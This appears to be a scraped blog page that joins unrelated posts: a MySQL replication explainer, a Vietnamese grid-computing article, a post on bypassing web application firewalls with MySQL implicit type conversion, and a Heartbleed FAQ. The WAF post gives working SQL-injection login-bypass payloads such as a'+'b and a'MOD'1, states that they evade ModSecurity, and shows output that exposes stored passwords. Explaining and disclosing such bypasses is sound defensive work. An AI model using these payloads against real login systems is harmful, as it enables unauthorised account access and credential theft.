Understanding Regular Expression

Understanding Regular Expression.

Advertisements

How does MySQL Replication really work?

While we do have many blog posts on replication on our blog, such as on replication being single-threaded, on semi-synchronous replication or on estimating replication capacity, I don’t think we have one that covers the very basics of how MySQL replication really works on the high level. Or it’s been so long ago I can’t even find it. So, I decided to write one now.
Of course, there are many aspects of MySQL replication, but my main focus will be the logistics – how replication events are written on the master, how they are transferred to the replication slave and then how they are applied there. Note that this is NOT a HOWTO setup replication, but rather a howstuffworks type of thing.

Replication events
I say replication events in this article because I want to avoid discussion about different replication formats. These are covered pretty well in the MySQL manual here. Put simply, the events can be one of two types:

  • Statement based – in which case these are write queries
  • Row based – in this case these are changes to records, sort of row diffs if you will

But other than that, I won’t be going back to differences in replication with different replication formats, mostly because there’s very little that’s different when it comes to transporting the data changes.

On the master
So now let me start with what is happening on the master. For replication to work, first of all master needs to be writing replication events to a special log called binary log. This is usually very lightweight activity (assuming events are not synchronized to disk), because writes are buffered and because they are sequential. The binary log file stores data that replication slave will be reading later.
Whenever a replication slave connects to a master, master creates a new thread for the connection (similar to one that’s used for just about any other server client) and then it does whatever the client – replication slave in this case – asks. Most of that is going to be (a) feeding replication slave with events from the binary log and (b) notifying slave about newly written events to its binary log.
Slaves that are up to date will mostly be reading events that are still cached in OS cache on the master, so there is not going to be any physical disk reads on the master in order to feed binary log events to slave(s). However, when you connect a replication slave that is few hours or even days behind, it will initially start reading binary logs that were written hours or days ago – master may no longer have these cached, so disk reads will occur. If master does not have free IO resources, you may feel a bump at that point.

On the replica
Now let’s see what is happening on the slave. When you start replication, two threads are started on the slave:
1. IO thread
This process called IO thread connects to a master, reads binary log events from the master as they come in and just copies them over to a local log file called relay log. That’s all.
Even though there’s only one thread reading binary log from the master and one writing relay log on the slave, very rarely copying of replication events is a slower element of the replication. There could be a network delay, causing a steady delay of few hundred milliseconds, but that’s about it.

If you want to see where IO thread currently is, check the following in “show slave status\G”:

  • Master_Log_File – last file copied from the master (most of the time it would be the same as last binary log written by a master)
  • Read_Master_Log_Pos – binary log from master is copied over to the relay log on the slave up until this position.

And then you can compare it to the output of “show master status\G” from the master.
2. SQL thread
The second process – SQL thread – reads events from a relay log stored locally on the replication slave (the file that was written by IO thread) and then applies them as fast as possible.
This thread is what people often blame for being single-threaded. Going back to “show slave status\G”, you can get the current status of SQL thread from the following variables:

  • Relay_Master_Log_File – binary log from master, that SQL thread is “working on” (in reality it is working on relay log, so it’s just a convenient way to display information)
  • Exec_Master_Log_Pos – which position from master binary log is being executed by SQL thread.

Replication lag
Now I want to briefly touch the subject of replication lag in this context. When you are dealing with replication lag, first thing you want to know is which of the two replication threads is behind. Most of the time it will be the SQL thread, still it makes sense to double check. You can do that by comparing the replication status variables mentioned above to the master binary log status from the output of “show master status\G” from the master.
If it happens to be IO thread, which, as I mentioned many times already, is very rare, one thing you may want to try to get that fixed is enabling slave compressed protocol.
Otherwise, if you are sure it is SQL thread, then you want to understand what is the reason and that you can usually observe by vmstat. Monitor server activity over time and see if it is “r” or “b” column that is “scoring” most of the time. If it is “r”, replication is CPU-bound, otherwise – IO. If it is not conclusive, mpstat will give you better visibility by CPU thread.
Note this assumes that there is no other activity happening on the server. If there is some activity, then you may also want to look at diskstats or even do a query review for SQL thread to get a good picture.
If you find that replication is CPU bound, this maybe very helpful.
If it is IO bound, then fixing it may not be as easy (or rather, as cheap). Let me explain. If replication is IO bound, most of the time that means that SQL thread is unable to read fast enough because reads are single threaded. Yes, you got that right – it is reads that are limiting replication performance, not writes. Let me explain this further.
Assume you have a RAID10 with a bunch of disks and write-back cache. Writes, even though they are serialized, will be fast because they are buffered in the controller cache and because internally RAID card can parallelize writes to disks. Hence replication slave with similar hardware can write just as fast as master can.
Now Reads. When your workset does not fit in memory, then the data that is about to get modified is going to have to be read from disk first and this is where it is limited by the single-threaded nature of the replication, because one thread will only ever read from one disk at a time.
That being said, one solution to fix IO-bound replication is to increase the amount of memory so working set fits in memory. Another – get IO device that can do much more IO operations per second even with a single thread – fastest traditional disks can do up to 250 iops, SSDs – in the order of 10,000 iops.

Resource: http://www.percona.com/blog/2013/01/09/how-does-mysql-replication-really-work/

Grid Computing và những khái niệm điện toán mới

Tính toán mạng lưới (grid) ngày nay không còn là một giải pháp hàn lâm hay thử nghiệm. Với những tiến bộ quan trọng về phần mềm triển khai, người ta hy vọng nó sẽ đem sức mạnh của siêu máy tính tới tất cả người dùng PC đơn lẻ trên thế giới.

 

Grid là gì và hoạt động như thế nào?

Grid là một loại hệ thống phân tán, bố trí song song, cho phép linh hoạt chia sẻ, tuyển lựa và tập hợp các nguồn tài nguyên độc lập và rải rác về địa lý, tùy theo khả năng sẵn có, công suất, hoạt động, chi phí và yêu cầu về chất lượng dịch vụ của người sử dụng.

Điện toán mạng lưới (ĐTML) có nghĩa là tất cả hoặc một phần của một nhóm máy tính, máy chủ và thiết bị lưu trữ trong mạng doanh nghiệp, được “ảo hóa” (virtualize) thành một cỗ máy tính lớn. Vì ĐTML giải phóng những khả năng tính toán không được sử dụng vào một thời điểm bất kỳ, chúng có thể cho phép các doanh nghiệp tăng cường rất nhiều về tốc độ, sức mạnh xử lý thông tin và sự liên kết, thúc đẩy các quy trình tính toán mật độ cao. Trong khi đó, chi phí vẫn sẽ được giữ ở mức thấp vì ĐTML có thể được xây dựng từ chính hạ tầng hiện có, góp phần đảm bảo sự huy động tối ưu các khả năng tính toán.

ĐTML cho phép ảo hóa các chức năng tính toán phân tán cũng như các nguồn xử lý, băng thông mạng và khả năng lưu trữ, để từ đó tạo ra một hệ thống đơn đồng nhất, cho phép người sử dụng và các ứng dụng truy cập thông suốt vào các tính năng điện toán rộng lớn. Giống như người lướt web xem một nội dung thống nhất qua web, người sử dụng ĐTML cũng nhìn thấy một máy tính ảo cực lớn duy nhất.

Trọng tâm của ĐTML dựa trên một tập hợp mở của nhiều chuẩn và giao thức, ví dụ Kiến trúc dịch vụ lưới mở (OGSA), cho phép liên lạc qua nhiều môi trường hỗn tạp và phân tán về địa lý. Với ĐTML, các tổ chức và doanh nghiệp có thể tối ưu hóa khả năng tính toán và các nguồn dữ liệu, tập trung chúng lại thành những khối sức mạnh lớn, chia sẻ chúng qua mạng và thúc đẩy sự phối hợp, tương tác.

Giả dụ, khi một người có chiếc máy tính cá nhân tham gia đóng góp sức mạnh xử lý trong một mạng lưới grid muốn chạy một ứng dụng đòi hỏi thêm sức mạnh xử lý thì công việc đang được giải quyết trên chiếc máy đó sẽ được tự động tái phân bổ tới một máy khác trong lưới đang “rảnh rỗi” và không bị trưng dụng sức mạnh tính toàn vào công việc nào.

Xây dựng một lưới grid có thể đơn giản như việc cho phép một số lượng nhỏ PC hoặc server hoặc mạng lưu trữ tận dụng những khả năng chưa được khai thác hết. Từ một quy mô triển khai ban đầu nhỏ, người sử dụng có thể dần dần hoặc lập tức mở rộng lưới tùy theo nhu cầu của doanh nghiệp. Lưới này không chỉ có thể liên kết các quy trình hoạt động của một bộ phận mà có thể phối hợp các phòng ban với nhau hoặc thậm chí liên kết sức mạnh hạ tầng của một số doanh nghiệp độc lập.

Ích lợi của tính toán lưới:

ĐTML có thể đem lại những ích lợi rất rộng lớn. Nó tăng tốc độ xử lý để rút ngắn thời gian thu được kết quả, từ đó cho phép tiết kiệm thời gian và tài nguyên phục vụ cho việc giải quyết những vấn đề mà trước đó chưa được xử lý. ĐTML nâng cao năng suất và sự phối hợp trong doanh nghiệp bằng cách cho phép các bộ phận và phòng ban phân tán ở nhiều nơi tạo ra các “tổ chức ảo” để chia sẻ dữ liệu và tài nguyên. Grid khiến cho hạ tầng hoạt động của doanh nghiệp linh hoạt hơn với việc cho phép truy nhập lập tức vào hệ thống tính toán và các kho dữ liệu để “cảm nhận” và phản hồi kịp thời những yêu cầu. Grid cũng góp phần đảm bảo khai thác tốt nhất các khả năng tính toán hiện có của một công ty dựa trên những khoản đã đầu tư. Triển khai ĐTML cũng góp phần tránh được nguy cơ phân bổ tài nguyên không cân đối xảy ra rất phổ biến và tránh được các chi phí phát sinh. Một ích lợi lớn khác của ĐTML là nó giải phóng các bộ phận quản lý CNTT khỏi gánh nặng của việc quản lý các hệ thống không đồng nhất.

So sánh grid với các công nghệ khác:

So với khái niệm cluster và điện toán phân tán khác, grid có điểm chung là đem các nguồn sức mạnh tính toán lại làm một nhưng khác ở chỗ nó không cần có sự giới hạn về không gian địa lý hay sự đồng nhất về nền điều hành. Khác biệt cơ bản giữa khái niệm cluster (bó) với grid (lưới) chủ yếu nằm ở phương thức quản lý các nguồn tài nguyên. Đối với cluster, việc phân bổ tài nguyên được thực hiện bởi một đối tượng quản lý tài nguyên trung tâm và tất cả các nút (node) mạng hoạt động phối hợp với nhau như một nguồn đơn thống nhất. Đối với grid, mỗi nút có đối tượng quản lý tài nguyên riêng và các nguồn tài nguyên độc lập trong lưới có thể trải rộng khắp một hoặc nhiều tổ chức.

Trên thực tế grid không phải là một cuộc cách mạng mới mà có thể coi nó là một bước tiến hóa trong công nghệ điện toán phân tán, giống như web, chia sẻ file ngang hàng và các công nghệ ảo khác. Giống như web, ĐTML giảm bớt tính phức tạp khi mà nhiều người cùng khai thác một nền hoạt động thống nhất. Cái khác của nó đối với web chủ yếu là sự hỗ trợ liên lạc. So với mạng ngang hàng (P2P), ĐTML có điểm chung là cho phép người sử dụng chia sẻ file nhưng khác ở chỗ việc chia sẻ đó không chỉ là các file mà có thể là nhiều tài nguyên khác. So với các công nghệ ảo khác, grid giống ở chỗ cho phép ảo hóa các nguồn lực CNTT. Điểm khác là trong khi đối tượng và mục tiêu của các công nghệ ảo là một hệ thống đơn thì grid cho phép ảo hóa những nguồn tài nguyên tản mát và vô cùng rộng lớn.

Grid đã được thương mại hóa như thế nào?

Các nhà cung cấp giải pháp điện toán hàng đầu thế giới như Oracle, IBM, HP, Dell, Microsoft và Sun đều đã và đang có sách lược đầu tư lớn vào việc phát triển các sản phẩm và dịch vụ ĐTML.

Thiết lập một hệ thống ĐTML không đơn thuần chỉ là có một mạng máy tính tốc độ cao. Yếu tố quan trọng nhất chính là một nền phần mềm điều phối sức mạnh của các máy tính tham gia đóng góp sức mạnh nhiều dạng khác nhau trong lưới.

Trên thị trường đã xuất hiện những nền phần mềm thương mại hoặc dịch vụ phục vụ cho việc này. Ví dụ, Oracle đã tung ra thị trường Application Server 10g,  được coi là phần mềm trung gian đầu tiên giúp đơn giản hóa việc quản lý các ứng dụng chạy trên môi trường ĐTML. Đây là một bộ sản phẩm gồm khoảng 600 cải tiến trong ứng dụng tích hợp và cơ sở hạ tầng các dịch vụ Web.

Oracle Application Server 10 được xây dựng dựa trên các chuẩn mở, tạo ra một nền tảng thống nhất cho các khả năng hỗ trợ yêu cầu đa dạng của một doanh nghiệp thương mại điện tử, bao gồm các chức năng hỗ trợ như phần mềm cổng dành cho doanh nghiệp, lưu trữ tốc độ cao, tình báo doanh nghiệp, quản lý đồng nhất, phát triển ứng dụng nhanh, kết nối không dây và các dịch vụ Web. Oracle Application Server 10g cũng là sản phẩm trung gian duy nhất trong ngành giải pháp điện toán doanh nghiệp được trang bị các công nghệ tích hợp và ĐTML lắp sẵn.

Với việc đưa thêm khả năng ĐTML, phần mềm Application Server 10g giúp khách hàng giảm thời gian, sức lao động và chi phí cho việc quản lý CNTT bằng cách kết hợp các hệ thống máy chủ, hệ thống lưu trữ và các phần mềm cần thiết. Kết quả là các doanh nghiệp có thể sử dụng sức mạnh của toàn bộ hệ thống hay lưới cho tất cả các ứng dụng dành cho doanh nghiệp chứ không phải mua thêm tính năng cho các ứng dụng riêng biệt. Oracle Application Server 10g được cung cấp với ba phiên bản: Java Edition (giá 5.000 USD tính trên một bộ vi xử lý hoặc 100 USD/một người sử dụng), Standard Edition (10.000 USD/bộ vi xử lý hoặc 200 USD/người sử dụng) và Enterprise Edition (20.000 USD/bộ vi xử lý hoặc 400 USD/một người sử dụng).

Trong khi đó, Sun Microsystems gần đây tung ra một mô hình dịch vụ với cách tiếp cận khác. Họ gọi đây là cơ chế thu tiền tính theo người sử dụng đầu tiên áp dụng đối với kiến trúc ĐTML. Với chi phí khởi điểm là 1 USD/bộ xử lý/giờ, dịch vụ tính toán theo lưới này của Sun được cung cấp theo từng gói tính bằng tiếng đồng hồ. Sun khẳng định mô hình này có thể cho phép khách hàng khai thác sức mạnh tính toán giống như sử dụng các tiện ích thông thường như điện thoại, điện gia dụng hay nước…từ hạ tầng của nhà cung cấp dịch vụ.

Implicit type conversion in MySQL

A new approach to bypassing WAFs

In some languages, using arithmetic operators on elements that aren’t numeric, give some weird results. In JavaScript for example, [ ] + { } is an Object, while { } + [ ] appears to be NaN.

If these kind of obscure actions occur in a parser that is counted on to be very reliable, things can go bad real quickly. Let’s look at how MySQL behaves…

Trying to add two integers in MySQL will result in an integer of the sum of the given integers. Simple and straightforward, as you can see below.

mysql> SELECT 1+1;
+—–+
| 1+1 |
+—–+
| 2 |
+—–+
1 row in set (0.00 sec)
MySQL Type Conversion

Nothing special there. But what would happen if we’d try to add a string and an integer…

mysql> SELECT ‘foo’+1;
+———+
| ‘foo’+1 |
+———+
| 1 |
+———+
1 row in set, 1 warning (0.00 sec)
mysql> SHOW WARNINGS;
+———+——+—————————————–+
| Level | Code | Message |
+———+——+—————————————–+
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘foo’ |
+———+——+—————————————–+
1 row in set (0.00 sec)
A bit more interesting, adding 1 to ‘foo’ returns 1. What happens here, is that ‘foo’ is converted to a DOUBLE. But since it clearly is non-numeric, it will be converted to 0 (and generate the above warning). Still nothing new here…

The reference manual of MySQL says:

When an operator is used with operands of different types, type conversion occurs to make the operands compatible.

So what happens when we try to add two strings? These are of the same type, so shouldn’t need to be converted, right?

mysql> SELECT ‘a’+’b’;
+———+
| ‘a’+’b’ |
+———+
| 0 |
+———+
1 row in set, 2 warnings (0.00 sec)
mysql> SHOW WARNINGS;
+———+——+—————————————+
| Level | Code | Message |
+———+——+—————————————+
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
+———+——+—————————————+
2 rows in set (0.00 sec)
Guess not… So something else is going on here, it appears that + is an arithmetic operator. That might explain why both strings are converted to numeric values.

So we know that the sum of two strings results in a numeric value, namely 0. You can verify this by running the query SELECT ‘a’ + ‘b’ = 0, which will result in 1 (which is the same as TRUE). Now, what would happen if we compared the sum of two strings with another string. Let’s see…

mysql> SELECT ‘a’+’b’=’c’;
+————-+
| ‘a’+’b’=’c’ |
+————-+
| 1 |
+————-+
1 row in set, 3 warnings (0.00 sec)

mysql> SHOW WARNINGS;
+———+——+—————————————+
| Level | Code | Message |
+———+——+—————————————+
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘c’ |
+———+——+—————————————+
3 rows in set (0.00 sec)
It appears that the string you compare the sum of two strings with, is converted to a numeric value (again 0). This is a kind of behaviour that might come as unexpected. It is documented somewhat unclearly in the MySQL Reference Manual as the last rule of how conversion occurs.

In all other cases, the arguments are compared as floating-point (real) numbers.

Now, this article is about bypassing Web Application Firewalls, so let’s move on to that.

Bypassings WAFs

Say you have a login-system which is vulnerable to SQL-injection. Since you have no clue how to fix this, you have put a WAF in front of your application. The login-system is likely to contain a query such as SELECT * FROM users WHERE username = ‘$_POST[“username”]’ AND password = ‘$_POST[“password”]’.

A straighforward SQL-injection attack would be to enter a’ OR 1=’1 as the username and pick a random value for the password-field. This would result in the query SELECT * FROM users WHERE username = ‘a’ OR 1=’1′ AND password = ‘foobar’. This will most likely log the attacker in as the first user in the users-table. But since you are using a WAF, you should be safe from this kind of attack.

If the attacker were a bit smarter, and use the information discussed above, he might enter a’+’b as username and the same for the password-field. This results in the following query being executed: SELECT * FROM users WHERE username = ‘a’+’b’ AND password = ‘a’+’b’. As we’ve seen above, ‘a’+’b’ will be converted to a numeric value, and so will username and password.

This means that the attacker will be logged in as the first user whose username and password doesn’t start with a numeric value. If the superadmin’s username would be 666admin, the attacker could still enter ‘a’+’666 as a username (which will be converted to the same value as 666admin will be converted to, namely 666).

I have stated that WAF’s can be bypassed using this technique, but actually WAF’s should be read as “ModSecurity and probably others as well”. You can test the a’+’b attack on one of ModSecurity’s demonstration projects. Entering ‘ OR 1=’1 as username and password will return the following error:

ModSecurity Alert Message:

Inbound Alert: 981242-Detects classic SQL injection probings 1/2

Outbound Alert: 981242-Detects classic SQL injection probings 1/2

Entering a’+’b as username and password will log you in, but no alerts or warnings are given by ModSecurity.

Until now, I have only talked about the + operator, but MySQL offers quite some other operators that will have the same effect. The MySQL 5.5 Reference Manual lists following operators as arithmetic operators: DIV, /, -, %, MOD, + and *. This makes a’MOD’1 an attack vector as well, which seems very hard for a WAF to detect as a possible SQL-Injection attack.

Until now, I have only talked about arithmetic operators. MySQL offers quite some other functions as well, for example bit functions. The functions that are usable in this case are &, |, ^, << and >>.

Until now, I have only talked about operators that make the right-hand side of the assignment evaluate first. This is because their operator precedence is higher than that of = (comparison). With the operators and functions whose precedence is equal or lower than that of =, ModSecurity does seem to detect an SQL attack. (The ‘ OR 1=’1 attack vector falls under this part.)

The moral of this blog post is that you should not depend on a WAF to protect your web application. A WAF adds another layer of defense, but as you’ve seen here, it’s not all that difficult to bypass.

Examples

As an example I’ve created following table, and populated it with 2 users.

CREATE TABLE `users` (
`userid` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(45) NOT NULL,
`password` varchar(45) NOT NULL,
PRIMARY KEY (`userid`)
);

INSERT INTO `users` (`username`, `password`) VALUES (‘admin’, ‘MySuperS3cretPass!’);
INSERT INTO `users` (`username`, `password`) VALUES (‘666admin’, ‘nataSmaI’);
Here are the results of some attack vectors.

mysql> SELECT * FROM users WHERE username = ‘a’+’b’ AND password = ‘a’+’b’;
+——–+———-+——————–+
| userid | username | password |
+——–+———-+——————–+
| 1 | admin | MySuperS3cretPass! |
+——–+———-+——————–+
1 row in set, 7 warnings (0.00 sec)

mysql> SHOW WARNINGS;
+———+——+——————————————————–+
| Level | Code | Message |
+———+——+——————————————————–+
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘admin’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘MySuperS3cretPass!’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘666admin’ |
+———+——+——————————————————–+
7 rows in set (0.00 sec)
mysql> SELECT * FROM users WHERE username = ‘a’+’666’ AND password = ‘a’+’b’;
+——–+———-+———-+
| userid | username | password |
+——–+———-+———-+
| 2 | 666admin | nataSmaI |
+——–+———-+———-+
1 row in set, 6 warnings (0.00 sec)
mysql> SELECT * FROM users WHERE username = ‘a’MOD’1’ AND password = ‘a’MOD’1’;
+——–+———-+——————–+
| userid | username | password |
+——–+———-+——————–+
| 1 | admin | MySuperS3cretPass! |
+——–+———-+——————–+
1 row in set, 5 warnings (0.00 sec)
In the following example, ‘a’ and ‘b’ are converted to the INTEGER 0, because & is a bit function.

mysql> SELECT * FROM users WHERE username = ‘a’&’b’ AND password = ‘a’&’b’;
+——–+———-+——————–+
| userid | username | password |
+——–+———-+——————–+
| 1 | admin | MySuperS3cretPass! |
+——–+———-+——————–+
1 row in set, 7 warnings (0.00 sec)

Heart Bleed Bug Explained !!!

Recently a bug found in the SSL that the very profounded hackers in the world said was developed by the NSA itself is used for keeping a track of secrecy not only in the self country but also around the world. I would like to explain the full topic ” THE HEARTBLEED BUG”
*******************************************

Heartbleed – I think now it’s not a new name for you, as every informational website, Media and Security researchers are talking about probably the biggest Internet vulnerability in recent history. It is a critical bug in the OpenSSL’s implementation of the TLS/DTLS heartbeat extension that allows attackers to read portions of the affected server’s memory, potentially revealing users data, that the server did not intend to reveal.
As the world news broke out websites around the world flooded with the heartbleed articles, explaining how it works, how to protect, and exactly what it is. Yet many didn’t get it right. So based on the queries of Internet users, we answered some frequently asked questions about the bug.
OpenSSL– the encryption technology used by millions of websites to encrypt the communication and is also used to protect our sensitive data such as e-mails, passwords or banking information.
But a tiny, but most critical flaw called “Heartbleed” in the widely used OpenSSL opened doors for the cyber criminals to extract sensitive data from the system memory.
SSL and TLS are known to provide communication security and privacy over the Internet for applications such as websites, email, instant messaging (IM), including some virtual private networks (VPNs).
Heartbleed is a critical bug (CVE-2014-0160) is in the popular OpenSSL cryptographic software library, that actually resides in the OpenSSL’s implementation of the TLS (transport layer security protocols) and DTLS (Datagram TLS) heartbeat extension (RFC6520).
This bug was independently discovered by a team of security engineers (Riku, Antti and Matti) at Codenomicon, while improving the SafeGuard feature in Codenomicon’s Defensics security testing tools, and Neel Mehta of Google Security, who first reported it to the OpenSSL team.
Software vulnerabilities may come and go, but this bug is more critical as it has left the large number of private keys and other secrets exposed to the Internet. The heartbleed bug can reveal the contents of a server’s memory, where the most sensitive data is stored, including the private data such as usernames, passwords, and credit card numbers.
This could allow attackers to retrieve private keys and ultimately decrypt the server’s encrypted traffic or even impersonate the server.
“The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users and to impersonate services and users.”
*******************************************
IS HEARTBLEED A VIRUS?
Absolutely NO, It’s not a virus. The Heartbleed bug is a vulnerability resided in TLS heartbeat mechanism built into certain versions of the popular open source encryption standard OpenSSL, a popular version of the Transport Layer Security (TLS) protocol.

HOW IT WORKS?
For SSL to work, your computer needs to communicate to the server via sending ‘heartbeats’ that keep informing the server that client (computer) is online (alive).
Heartbleed attack allows an attacker to retrieve a block of memory of the server up to 64kb in response directly from the vulnerable server via sending the malicious heartbeat and there is no limit on the number of attacks that can be performed.
It opens doors for the cyber criminals to extract sensitive data directly from the server’s memory without leaving any traces.

HEARTBLEED ATTACK RELIES ON MAN-IN-THE-MIDDLE ATTACK?
No, it has nothing to deal with a Man-in-the-Middle (MitM) attack. But using Heartbleed attack, one can manage to obtain the private encryption key for an SSL/TLS certificate and could set up a fake website that passes the security verification.
An attacker could also decrypt the traffic passing between a client and a server i.e. Perfect man-in-the-middle attack on HTTPS connection.

IS IT A CLIENT SIDE OR SERVER SIDE VULNERABILITY?
TLS heartbeats can be sent by either side of a TLS connection, so it can be used to attack clients as well as servers. An Attacker can obtain up to 64K memory from the server or client as well that uses an OpenSSL implementation vulnerable to Heartbleed (CVE-2014-0160).
Researcher estimated two-thirds of the world’s servers i.e. half a million servers are affected by the Heartbleed Bug, including websites, email, and instant messaging services.
here is a link demonstrating you can watch

HOW HEARTBLEED AFFECTS SMARTPHONES?
Smartphone is the best practical example of Client side attacks.
All versions of Android OS include outdated versions of OpenSSL library, but only Android 4.1.1 Jelly Bean has the vulnerable heartbeat feature enabled by default. Blackberry also confirmed that some of its products are vulnerable to Heartbleed bug, whereas Apple’s iOS devices are not affected by OpenSSL flaw.
Google had patched the affected version Android 4.1.1, but it will take long time to deliver updated Android version to the end Smartphone users as updates to majority handsets are controlled by phone manufacturers and wireless carriers. Until users running the affected versions are vulnerable to the attacks, and hackers will definitely take advantage of this public disclosure.

WHAT ELSE COULD BE VULNERABLE TO HEARTBLEED?
IP phones, Routers, Medical devices, Smart TV sets, embedded devices and millions of other devices that rely on the OpenSSL to provide secure communications could also be vulnerable to Heartbleed bug, as it is not expected for these devices to get the updates soon from Google’s Android partners.
Yesterday, Industrial Control Systems-CERT also warned the critical infrastructure organizations (like energy, utilities or financial services companies) to beef-up their systems in order to defend against the Heartbleed attacks.

WHO IS RESPONSIBLE FOR HEARTBLEED?
We actually can’t blame anyone developer, specially who are contributing to Open Source projects without money motivations.
Dr. Robin Seggelmann, a 31-year-old German developer who actually introduced the Heartbeat concept to OpenSSL on New Year’s Eve, 2011, says it was just a programming error in the code that unintentionally created the “Heartbleed” vulnerability.
“In one of the new features, unfortunately, I missed validating a variable containing a length”, went undetected by the code reviewers and everyone else for over two years. He claimed ‘I did so unintentionally’.

WHO HAS EXPLOITED THIS BUG YET?
Bloomberg accused the National Security Agency (NSA) of knowing the Heartbleed bug for the last two years. Not even this, the report says the agency was using it continuously to gain information instead of disclosing it to the OpenSSL developers. But if it is so, then this would be one of the biggest developments in the history of wiretapping ever. However, the agency denied it saying NSA was not aware of Heartbleed until it was made public.
But when it comes to exploit any known vulnerability, then Hackers are most likely to be top on the list. As the flaw was so widely spread that it affected half a million websites worldwide, so after the public disclosure, the cybercriminals could reach the sites to steal credentials, passwords and other data, before the site operators apply the freely available patch.
There are multiple Proof-of-concept exploits available for the Heartbleed flaw:
Python Script
Metasploit Module
C Code
NMAP script
Python Script

CHANGING ACCOUNT PASSWORDS CAN SOLVE THE ISSUE?
Not exactly, as Heartbleed attack has the ability to leak anything from the server including your passwords, credit card details or any kind of personal information. But, in order to protect your online accounts you should at least change your passwords immediately for the sites that resolved the issue and for the sites not affected by the bug as well, just to make sure that you are safe.
First of all check if the sites you use every day on an individual basis are vulnerable to Heartbleed bug or not using following services or apps:, and if you’re given a red flag, avoid the site for now.
http://filippo.io/Heartbleed/
Provensec Scanner
GlobalSign SSL Configuration Checker
ADTsys Checker
The easiest way to keep you safe is to use a new add-on to the Chrome browser, Chromebleed, created by security researcher, Jamie Hoyle.
To check whether your Android devices are safe or not, you can install the Bluebox Heartbleed Scanner available on the Google Play Store. The Bluebox Heartbleed Scanner looks for apps installed on your device that have bundled their own version of OpenSSL and the scanner also checks the version of the library and whether heartbeat is enabled or not.
Well, nobody is sure at this point, because Heartbleed is stealthy as it leaves no traces behind and here the matter goes worse.
You may never know if you have been hacked using the flaw or not. This means that there is no way to tell if your information was stolen previously from a site or a service that has now fixed it.
But if you haven’t change the password to the popular sites yet, then yes, your password and financial information are still widely open to cybercriminals and other spying agencies.

WHAT SHOULD I DO TO PROTECT MYSELF?
First of all DON’T PANIC. You have to change your password everywhere, assuming that it was all vulnerable before, just to make sure that you are now safe. But hold on… If some sites are still affected by the flaw then your every effort is useless, as it’s up to the site to first fix the vulnerability as soon as possible , because changing the password before the bug is fixed could compromise your new password as well.
If you own a vulnerable SSL Service, then you are recommended to:
Upgrade the OpenSSL version to 1.0.1g
Request revocation of the current SSL certificate
Regenerate your private key
Request and replace the SSL certificate
Don’t reuse any old passwords and it is good practice to use two-factor authentication, which means with the password, the account requires a freshly generated pass code that shows up only on your personal smartphone, before getting into certain sites.
Stay Safe!
*******************************************
And so here it ends I hope you like it !!! 🙂
Have a nice day 8)

Source: https://evilzone.org/articles/heart-bleed-bug-explained-!!!/